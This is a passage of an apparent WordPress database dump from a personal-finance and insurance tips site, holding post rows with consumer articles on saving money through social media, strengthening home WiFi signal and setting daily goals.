borrow it for a few weeks instead of signing a costly rental contract. Another friend routinely lists items she has for sale on Facebook and Twitter. She sold a vintage Hoosier cabinet and handmade stained glass napkin holders without leaving her home. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whatever you’re looking to buy, someone online might be able to offer it to you for free or at secondhand prices, saving you a bundle over purchasing items new.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Exercise at home</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you cut your gym membership out of your budget, you can scour Pinterest for tons of workouts you can do at home for every fitness level and goal. These moves go hand in hand with motivational quotes to keep you fit and focused.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Follow financial experts on social media</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can find many great money-savings ideas, coupons and tips from some of the top money minds and companies online. A few pin-worthy favorites are The Krazy Koupon Lady and Living on the Cheap, of course.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, follow well-known savings experts such as Suze Orman (@SuzeOrmanShow) and Dave Ramsey (@DaveRamsey) on Twitter and Facebook for daily tips and motivation. SmartyPig.com (@SmartyPig) lets you share your savings goals with friends and family on Twitter, and they can contribute to your cause.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Find tips on scholarships and college saving through Twitter</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got kids, you’re already thinking about how to save for college, whether they’re 6 or 16. Twitter has you covered with money-saving advice and financial aid information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>529 College Savings Plans tweets tips and tools for saving for college under the Twitter name @529forCollege. Scholarship America (@ScholAmerica) gives updates on available scholarships and financial aid. Type a hashtag in front of a keyword, such as scholarship, textbooks or college, and look for discussions about specific institutions or benefactors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://livingonthecheap.com/10-ways-save-social-media/\">click here.</a></p>\n<!-- /wp:paragraph -->','11 Ways to Save Money Using Social Media','','inherit','closed','closed','','3966-revision-v1','','','2024-04-29 04:38:08','2024-04-29 04:38:08','',3966,'https://smartinsurance.tips/?p=3968',0,'revision','',0),(3969,1,'2024-04-29 04:42:49','2024-04-29 04:42:49','<!-- wp:paragraph -->\n<p>Before you run out to buy a new router, try these tips for improving the signal throughout your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3970,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-3970\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>There are few things quite as frustrating as a crummy WiFi connection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Picture the scene: You’re at home relaxing after a hard day of work and you decide to stream the latest episode of “Masters of the Air” on Apple TV+. With some snacks on the coffee table and a drink in hand, you hit the Play button on your remote control and wait for the program to begin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And wait and wait and wait.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When it works, your home WiFi connection is your gateway to all the internet has to offer: the latest hits on Apple TV+ and Netflix; white-knuckle competitive gaming in Call of Duty; and sporting events available exclusively on Peacock or Prime Video.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Got an all-night dance party planned? A reliable WiFi connection ensures your Sonos can seamlessly stream Spotify without annoying skips in the music.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But when it fails you, your home WiFi connection can be a great big headache.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’re here to help. We test dozens of WiFi routers a year in our labs just north of New York City, from high-end mesh router systems that can blanket a sprawling home layout in coverage to $20 extenders that eliminate dead spots in your home office. (The full results of these tests are available to CR members.) We’ve seen it all—which is how we know what steps you can take today to improve your WiFi signal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is Your Router a Slowpoke?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Understanding the basics of router operation can help you fix some hiccups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Think of a router as an electronic traffic cop,” says Richard Fisco, who oversees electronics testing for Consumer Reports.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once it’s hooked up to the modem provided by your internet service provider (ISP), it directs the internet access throughout your home, making it wirelessly available to devices like your laptop, phone, and TV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your WiFi connection is noticeably sluggish, you may be tempted to write off your current router as a dud. But don’t be too hasty—there may be other factors at play.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, take a look at a bill from your ISP to see what level of broadband you’re paying for. You’ll need a connection of at least 15 megabits per second to stream Netflix in 4K, for example. So, if you’re not paying for at least that, or don’t have access to that kind of speed where you live, a brand new router isn’t going to help you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can easily run a speed test using a service like fast.com to see what you’re really getting. You may want to run this test a few times. First, run it with your laptop plugged into your router to check your speed in the best-case scenario. You can then move around with your laptop to different areas of your home to see how fast WiFi is at different locations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next, you’ll want to assess the placement of your router. They tend to do best when set up in the center of a home, allowing the WiFi signal to reach out in every direction. A router tucked away in a corner may not have the range to travel to the other side of the house, or from the second floor to the basement, because the signal degrades the farther it gets from the source.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your router is in a suboptimal spot (a closet, say, or perhaps the basement), try moving it. One way is to buy a long Ethernet cable (keep it under 300 feet), plug it into the modem and the router, and move the router yourself. Or you can ask your ISP to help you relocate the modem, though the company may charge you depending on the labor involved. If you’re planning to change providers, Fisco says, you may be able to get the job done free, so ask while you’re negotiating the switch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your router is already in a central location, the slow connection might be due to obstacles in the house that can impede a WiFi signal. You can try moving the router around a room to address such problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If those tweaks don’t help, it may be time to find a model better suited to your needs, especially if you’ve been using a single-unit router in a multi-story home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Router Is Best for You?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are two types of WiFi routers on the market: traditional models and mesh network models. There are also WiFi extenders, which we’ll explain in a bit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’re probably familiar with traditional WiFi routers. They’re single-unit devices that plug into a modem. They can be plenty fast, supporting even the data-hungry activities of families with dozens of internet-connected devices. But they don’t always have the range to effectively blanket a whole home in WiFi, especially if you have a large or obstacle-laden layout. (See WiFi Roadblocks below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesh routers are typically packaged in a set with multiple units—a hub and one or more satellites—that work together to steer WiFi around certain obstacles and spread it into the far-flung corners of a home. If you place the hub, which plugs into your modem, near the center of your home, you can shift around the satellites, which help relay the WiFi signal, until you find a configuration that helps you eliminate any dead spots.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So why doesn’t everyone simply choose a mesh router? They’re pricey, for one thing. The top-rated models in our ratings regularly cost several hundred dollars, with a few models even reaching $1,000. That’s a lot of money just to watch Seinfeld reruns on Netflix. But we do recommend some models that cost roughly $100 to $200.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s also an argument to be made for simplicity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With a mesh system, you have several devices strewn about your home vs. just one with a traditional router. If you don’t actually need a mesh router, there’s no reason to invest in one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for WiFi extenders, these are devices that can extend the reach of your existing WiFi network by repeating the signal. They’re not as effective as mesh routers, but can cost as little as $20. And at that price, given our testing of several popular models, they may be useful for those merely trying to eliminate a single trouble spot in their homes, such as one WiFi dead zone in a spare bedroom or attic office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5 Common WiFi Roadblocks &amp; How to Fix Them</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Here are some common obstacles to think about as you search for the ideal place to put your router. In this diagram, we’ve arranged a three-piece mesh router network to help eliminate potential dead spots in a multilevel home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the best results, place the hub in the center of your home (1) and between the satellites (2 and 3), says CR’s Fisco. Note that satellite 3 sits on the kitchen counter away from the refrigerator (4). The WiFi signal from both the hub and satellites can also reach up and down to other floor levels, eliminating potential dead zones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Walls</strong><br>Thicker walls tend to absorb more of a WiFi signal than thinner walls. While you can’t easily change how thick your walls are, simply repositioning a mesh satellite closer to a room’s entrance may help boost the signal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Fridge</strong><br>A refrigerator and other appliances that contain a lot of metal can cause trouble, too. WiFi signals may bounce off them instead of passing through to the other side. Metal plumbing and rebar in your walls create similar problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Neighbors</strong><br>If you live in an apartment building or a heavily populated neighborhood, you might be susceptible to wireless congestion created by nearby devices running on the 2.4GHz frequency band. Most routers released within the last 10 years support an additional frequency band, 5GHz, while routers released within the past four years may also support the 6GHz band. These two bands are faster than 2.4GHz. Depending on your exact router model, you may have to go into the device settings to select these faster bands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Microwave</strong><br>Microwaves also operate in the 2.4GHz frequency band, which can cause interference if, for example, you decide to make a second bag of popcorn while streaming a Netflix movie. To avoid the interruption on movie night, make sure your device is on either the 5GHz or 6GHz band.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Fish Tank</strong><br>Water absorbs electromagnetic radiation like WiFi signals, so make sure your router isn’t parked next to your new 20-gallon fish tank.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics-computers/wireless-routers/how-to-get-a-stronger-wifi-signal-a4335686956/\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Get a Stronger WiFi Signal','','publish','closed','closed','','how-to-get-a-stronger-wifi-signal','','','2024-04-29 04:42:51','2024-04-29 04:42:51','',0,'https://smartinsurance.tips/?p=3969',0,'post','',0),(3970,1,'2024-04-29 04:40:44','2024-04-29 04:40:44','','Untitled-16','','inherit','closed','closed','','untitled-16-3','','','2024-04-29 04:40:44','2024-04-29 04:40:44','',3969,'http://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-16.png',0,'attachment','image/png',0),(3971,1,'2024-04-29 04:42:49','2024-04-29 04:42:49','<!-- wp:paragraph -->\n<p>Before you run out to buy a new router, try these tips for improving the signal throughout your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3970,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-3970\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>There are few things quite as frustrating as a crummy WiFi connection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Picture the scene: You’re at home relaxing after a hard day of work and you decide to stream the latest episode of “Masters of the Air” on Apple TV+. With some snacks on the coffee table and a drink in hand, you hit the Play button on your remote control and wait for the program to begin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And wait and wait and wait.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When it works, your home WiFi connection is your gateway to all the internet has to offer: the latest hits on Apple TV+ and Netflix; white-knuckle competitive gaming in Call of Duty; and sporting events available exclusively on Peacock or Prime Video.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Got an all-night dance party planned? A reliable WiFi connection ensures your Sonos can seamlessly stream Spotify without annoying skips in the music.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But when it fails you, your home WiFi connection can be a great big headache.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’re here to help. We test dozens of WiFi routers a year in our labs just north of New York City, from high-end mesh router systems that can blanket a sprawling home layout in coverage to $20 extenders that eliminate dead spots in your home office. (The full results of these tests are available to CR members.) We’ve seen it all—which is how we know what steps you can take today to improve your WiFi signal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is Your Router a Slowpoke?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Understanding the basics of router operation can help you fix some hiccups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Think of a router as an electronic traffic cop,” says Richard Fisco, who oversees electronics testing for Consumer Reports.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once it’s hooked up to the modem provided by your internet service provider (ISP), it directs the internet access throughout your home, making it wirelessly available to devices like your laptop, phone, and TV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your WiFi connection is noticeably sluggish, you may be tempted to write off your current router as a dud. But don’t be too hasty—there may be other factors at play.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, take a look at a bill from your ISP to see what level of broadband you’re paying for. You’ll need a connection of at least 15 megabits per second to stream Netflix in 4K, for example. So, if you’re not paying for at least that, or don’t have access to that kind of speed where you live, a brand new router isn’t going to help you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can easily run a speed test using a service like fast.com to see what you’re really getting. You may want to run this test a few times. First, run it with your laptop plugged into your router to check your speed in the best-case scenario. You can then move around with your laptop to different areas of your home to see how fast WiFi is at different locations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next, you’ll want to assess the placement of your router. They tend to do best when set up in the center of a home, allowing the WiFi signal to reach out in every direction. A router tucked away in a corner may not have the range to travel to the other side of the house, or from the second floor to the basement, because the signal degrades the farther it gets from the source.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your router is in a suboptimal spot (a closet, say, or perhaps the basement), try moving it. One way is to buy a long Ethernet cable (keep it under 300 feet), plug it into the modem and the router, and move the router yourself. Or you can ask your ISP to help you relocate the modem, though the company may charge you depending on the labor involved. If you’re planning to change providers, Fisco says, you may be able to get the job done free, so ask while you’re negotiating the switch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your router is already in a central location, the slow connection might be due to obstacles in the house that can impede a WiFi signal. You can try moving the router around a room to address such problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If those tweaks don’t help, it may be time to find a model better suited to your needs, especially if you’ve been using a single-unit router in a multi-story home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Router Is Best for You?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are two types of WiFi routers on the market: traditional models and mesh network models. There are also WiFi extenders, which we’ll explain in a bit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’re probably familiar with traditional WiFi routers. They’re single-unit devices that plug into a modem. They can be plenty fast, supporting even the data-hungry activities of families with dozens of internet-connected devices. But they don’t always have the range to effectively blanket a whole home in WiFi, especially if you have a large or obstacle-laden layout. (See WiFi Roadblocks below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesh routers are typically packaged in a set with multiple units—a hub and one or more satellites—that work together to steer WiFi around certain obstacles and spread it into the far-flung corners of a home. If you place the hub, which plugs into your modem, near the center of your home, you can shift around the satellites, which help relay the WiFi signal, until you find a configuration that helps you eliminate any dead spots.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So why doesn’t everyone simply choose a mesh router? They’re pricey, for one thing. The top-rated models in our ratings regularly cost several hundred dollars, with a few models even reaching $1,000. That’s a lot of money just to watch Seinfeld reruns on Netflix. But we do recommend some models that cost roughly $100 to $200.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s also an argument to be made for simplicity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With a mesh system, you have several devices strewn about your home vs. just one with a traditional router. If you don’t actually need a mesh router, there’s no reason to invest in one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for WiFi extenders, these are devices that can extend the reach of your existing WiFi network by repeating the signal. They’re not as effective as mesh routers, but can cost as little as $20. And at that price, given our testing of several popular models, they may be useful for those merely trying to eliminate a single trouble spot in their homes, such as one WiFi dead zone in a spare bedroom or attic office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5 Common WiFi Roadblocks &amp; How to Fix Them</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Here are some common obstacles to think about as you search for the ideal place to put your router. In this diagram, we’ve arranged a three-piece mesh router network to help eliminate potential dead spots in a multilevel home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the best results, place the hub in the center of your home (1) and between the satellites (2 and 3), says CR’s Fisco. Note that satellite 3 sits on the kitchen counter away from the refrigerator (4). The WiFi signal from both the hub and satellites can also reach up and down to other floor levels, eliminating potential dead zones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Walls</strong><br>Thicker walls tend to absorb more of a WiFi signal than thinner walls. While you can’t easily change how thick your walls are, simply repositioning a mesh satellite closer to a room’s entrance may help boost the signal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Fridge</strong><br>A refrigerator and other appliances that contain a lot of metal can cause trouble, too. WiFi signals may bounce off them instead of passing through to the other side. Metal plumbing and rebar in your walls create similar problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Neighbors</strong><br>If you live in an apartment building or a heavily populated neighborhood, you might be susceptible to wireless congestion created by nearby devices running on the 2.4GHz frequency band. Most routers released within the last 10 years support an additional frequency band, 5GHz, while routers released within the past four years may also support the 6GHz band. These two bands are faster than 2.4GHz. Depending on your exact router model, you may have to go into the device settings to select these faster bands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Microwave</strong><br>Microwaves also operate in the 2.4GHz frequency band, which can cause interference if, for example, you decide to make a second bag of popcorn while streaming a Netflix movie. To avoid the interruption on movie night, make sure your device is on either the 5GHz or 6GHz band.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The Fish Tank</strong><br>Water absorbs electromagnetic radiation like WiFi signals, so make sure your router isn’t parked next to your new 20-gallon fish tank.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics-computers/wireless-routers/how-to-get-a-stronger-wifi-signal-a4335686956/\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Get a Stronger WiFi Signal','','inherit','closed','closed','','3969-revision-v1','','','2024-04-29 04:42:49','2024-04-29 04:42:49','',3969,'https://smartinsurance.tips/?p=3971',0,'revision','',0),(3972,1,'2024-04-29 04:51:00','2024-04-29 04:51:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3973,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-3973\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you want to achieve success and sustain personal development, structuring how you work is a must. Setting daily goals makes it more likely that you achieve your long-term goals. Without these mini-goals driving how you spend your days, you may find yourself distracted and wasting time on low-value work, social media, and other people\'s priorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daily goals force you to invest in productivity and time management techniques that help you make the most of your time and accrue consistent, incremental progress toward specific goals. In this article, we\'ll share benefits, examples, and tips to help you set daily goals and make self-improvement a habit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Benefits of Daily Goal-Setting</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Setting achievable daily goals increases your personal productivity and enhances your work performance. It also helps with:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Building consistency:&nbsp;</strong>Setting daily goals is an excellent way to break bad habits and develop good ones. You don\'t need to be 100% perfect at completing every task, but if you accomplish even a portion of what you set out to do, you make progress every day.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Increasing awareness:</strong>&nbsp;Daily goals bring a kind of \"present\" awareness into how you spend time. Days don\'t pass by in a haze without you being able to remember what you did. When you have daily goals, you are more aware of what has been done and what you still need to do.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Improving wellbeing:</strong> As you achieve small goals, you gain confidence to complete your larger goals. Being consistent with daily tasks also creates feelings of self-efficacy. This can positively impact motivation to work, so you can accomplish more while maintaining work-life balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Overcoming procrastination: </strong>With an action plan for each day, you\'re more likely to overcome procrastination and get meaningful work done. A daily schedule helps with prioritizing work that matters and declutters your mind, reducing mental fatigue.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>5 Ways to Set Yourself up for Success With Daily Goals</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to writer Annie Dillard, a schedule is a “net for catching days.” Daily goals help structure a daily routine and set you up for success. Practice the five habits below to begin setting and meeting practical daily goals that bring you closer to your ideal life and career.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>1. Break Down Big Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Daily goals should be created from your bigger goals. Before getting granular with planning daily tasks, first create an outline for the year, month, or week. This would be your yearly, monthly, or weekly work plan. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, go ahead and structure these big goals and plans into daily to-dos you can manage in synchrony with your other work and home responsibilities. You may choose to do this in one weekly planning session or at the end of each day in preparation for the next day.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weigh important tasks against urgent responsibilities, and balance each day with both long-term and short-term goals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let\'s look at an example of what this might look like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Say one of your career goals is to make a lateral move within your organization. How can you ensure you\'re making progress toward this on a daily basis? You have to take care of your current work duties while making time to learn new skills and reposition yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To achieve this in the timeline you\'ve set, you must break the big goal into smaller goals you can tackle in bits. Your mini-goals for this project may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Identifying essential requirements for the new role</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Speaking to your manager or HR about your plans</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Investing in learning and professional development to prepare you for the new role</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Seeking a mentor or sponsor at your company</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Once your mini-goals are laid out, divide them into daily tasks to maintain progress and accountability. Every single day, you must cross off your planned task for that day to get closer to achieving your goal and attaining your new role.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>2. Set SMART Daily Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Setting goals you can\'t manage is a sure path to burnout, demotivation, and frustration. It\'s wise instead to set SMART goals, which are specific, measurable, attainable, relevant, and time-bound. SMART goals keep you within your capacity while still making progress. You can develop the habit of setting SMART goals following the framework below:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Specific:</strong>&nbsp;Your goals should target a specific area of improvement or tackle a specific need.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Measurable:&nbsp;</strong>Your goals should be quantifiable or allow for measurable progress.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Attainable:</strong>&nbsp;Your goals should be realistic and attainable. Think about the resources you have available and any existing constraints.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Relevant:</strong>&nbsp;Your daily goals should align with your other responsibilities, deadlines, and milestones.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Time-bound:</strong>&nbsp;Your goals should have a defined end to let you know when it\'s complete.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>3. Create and Follow a Productivity System That Works for You</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It\'s one thing to plan your goals and tasks and another thing to make yourself follow through and complete them. Most people procrastinate even when their schedules are overflowing with work and personal goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Productivity systems help create a process for handling your tasks. When you set up a productivity system, you no longer have to rely on willpower alone but instead know what to do at different times. Productivity systems help you achieve your daily goals and reduce friction when switching between tasks, conserving mental energy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>4. Complete Your Most Important Tasks Early in the Day</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The first hours of each day are critical. What you do during this time can affect your energy and motivation for the rest of the day. Focusing on your most important tasks early in the day frees you to do other things later. It also declutters your mind, making you less anxious and more productive overall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This tactic may be the domino effect you need to bulldoze through all your tasks in a day, or it may simply be a way to ensure you do the things that matter most to you before time gets away. Prioritizing and completing your important tasks early helps overcome procrastination and can put you ahead of the curve when it comes to achieving big goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>5. Manage Your Energy Throughout the Day</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>All your good habits and time management strategies are useless if you’re unable to manage your mind and energy during the day. Low mental and physical energy leads to a lack of focus and decreasing work performance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Everyone\'s energy fluctuates throughout the day. So, it\'s crucial that you study your habits and moods to understand yours. For early birds, their energy peaks in the morning and dips in the afternoon, often leading to an afternoon slump. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Monitor your energy to understand how your body works best and plan your daily goals in order of priority around your peak productivity hours. You can use quantified self-knowledge to plan your daily schedule optimally. Tackle important work when you have the most energy and low-value tasks during low-peak hours.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Track Daily Goals and Tasks With Rize</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Achieving your life\'s goals requires an intentional approach to how you spend your time. Setting and working with daily goals doesn\'t come easy to everyone, but if you spend the time to build a productivity system that works for you, 